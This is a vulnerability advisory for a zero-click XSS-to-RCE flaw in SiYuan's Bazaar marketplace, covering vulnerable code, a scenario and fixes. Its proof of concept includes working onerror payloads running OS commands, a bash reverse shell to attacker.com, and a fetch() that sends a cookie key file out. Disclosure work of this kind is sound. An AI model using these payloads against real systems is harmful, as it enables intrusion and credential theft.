CVE-2026-56395

# Remote Code Execution via Malicious Bazaar Package — Marketplace XSS ## Summary SiYuan's Bazaar (community marketplace) renders plugin/theme/template metadata and README content without sanitization. A malicious package author can achieve RCE on any user who browses the Bazaar by: 1. **Package metadata XSS (zero-click):** Package `displayName` and `description` fields are injected directly into HTML via template literals without escaping. Just loading the Bazaar page triggers execution. 2. **README XSS (one-click):** The `renderREADME` function uses `lute.New()` without `SetSanitize(true)`, so raw HTML in the README passes through to `innerHTML` unsanitized. Both vectors execute in Electron's renderer with `nodeIntegration: true` and `contextIsolation: false`, giving full OS command execution. ## Affected Component - **Metadata rendering:** `app/src/config/bazaar.ts:275-277` - **README rendering (backend):** `kernel/bazaar/package.go:635-645` (`renderREADME`) - **README rendering (frontend):** `app/src/config/bazaar.ts:607` (`innerHTML`) - **Electron config:** `app/electron/main.js:422-426` (`nodeIntegration: true`) - **Version:** SiYuan <= 3.5.9 ## Vulnerable Code ### Vector 1: Package metadata — no HTML escaping (bazaar.ts:275-277) ```typescript // Package name injected directly into HTML template — NO escaping ${item.preferredName}${item.preferredName !== item.name ? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""} // Package description injected directly — NO escaping <div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}"> ${item.preferredDesc || ""} <!-- UNESCAPED HTML --> </div> ``` Note: The `title` attribute uses `escapeAttr()`, but the actual text content does not — inconsistent escaping. ### Vector 2: README rendering — no Lute sanitization (package.go:635-645) ```go func renderREADME(repoURL string, mdData []byte) (ret string, err error) { luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called luteEngine.SetSoftBreak2HardBreak(false) luteEngine.SetCodeSyntaxHighlight(false) linkBase := "https://cdn.jsdelivr.net/gh/" + ... luteEngine.SetLinkBase(linkBase) ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in markdown preserved return } ``` Compare with the SiYuan note renderer in `kernel/util/lute.go:81`: ```go luteEngine.SetSanitize(true) // Notes ARE sanitized — but README is NOT ``` ### Frontend innerHTML injection (bazaar.ts:607) ```typescript fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => { mdElement.innerHTML = response.data.html; // Unsanitized HTML from README }); ``` ## Proof of Concept ### Vector 1: Malicious package manifest (zero-click RCE) A malicious `plugin.json` (or `theme.json`, `template.json`): ```json { "name": "helpful-plugin", "displayName": { "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">" }, "description": { "default": "A helpful plugin<img src=x onerror=\"require('child_process').exec('id>/tmp/pwned')\">" }, "version": "1.0.0" } ``` When any user opens the Bazaar page and this package is in the listing, the `onerror` handler fires automatically (since `src=x` fails to load), executing arbitrary OS commands. ### Vector 2: Malicious README.md (one-click RCE) ```markdown # Helpful Plugin This plugin does helpful things. <img src=x onerror="require('child_process').exec('calc.exe')"> ## Installation Follow the usual steps. ``` When a user clicks on the package to view its README, the raw HTML is rendered via `innerHTML` without sanitization, executing the `onerror` handler. ### Reverse shell via README ```markdown # Cool Theme <img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"')"> ``` ### Data exfiltration via package name ```json { "displayName": { "default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">" } } ``` ## Attack Scenario 1. Attacker creates a GitHub repository with a plugin/theme/template 2. Attacker submits it to the SiYuan Bazaar (community marketplace) 3. Package manifest contains XSS payload in `displayName` or `description` 4. **Zero-click:** When ANY user browses the Bazaar, the package listing renders the malicious name/description → JavaScript executes → RCE 5. **One-click:** If the package README also contains raw HTML, clicking to view details triggers additional payloads The attacker doesn't need to trick the user into installing anything. Simply browsing the marketplace is enough. ## Impact - **Severity:** CRITICAL (CVSS 9.6) - **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation) - Full remote code execution via Electron's `nodeIntegration: true` - Zero-click for metadata XSS — triggers on page load - Supply-chain attack vector targeting all Bazaar users - Can steal API tokens, session cookies, SSH keys, arbitrary files - Can install persistence, backdoors, or ransomware - Affects all SiYuan desktop users who browse the Bazaar ## Suggested Fix ### 1. Escape package metadata in template rendering (bazaar.ts) ```typescript // Use a proper HTML escape function function escapeHtml(str: string): string { return str.replace(/&/g, '&amp;').replace(/</g, '&lt;') .replace(/>/g, '&gt;').replace(/"/g, '&quot;'); } // Apply to all user-controlled metadata ${escapeHtml(item.preferredName)} <div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div> ``` ### 2. Enable Lute sanitization for README rendering (package.go) ```go func renderREADME(repoURL string, mdData []byte) (ret string, err error) { luteEngine := lute.New() luteEngine.SetSanitize(true) // ADD THIS luteEngine.SetSoftBreak2HardBreak(false) luteEngine.SetCodeSyntaxHighlight(false) // ... } ``` ### 3. Long-term: Harden Electron configuration ```javascript webPreferences: { nodeIntegration: false, contextIsolation: true, sandbox: true, } ```

SiYuan before v3.6.1 fails to sanitize package metadata and README content in the Bazaar marketplace, allowing malicious package authors to inject arbitrary HTML and JavaScript. Attackers can achieve remote code execution on any user browsing the Bazaar by embedding XSS payloads in package displayName, description, or README fields, exploiting Electron's nodeIntegration setting to execute OS commands.

SiYuan vulnerable to remote code execution via marketplace XSS in github.com/siyuan-note/siyuan/kernel. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.1.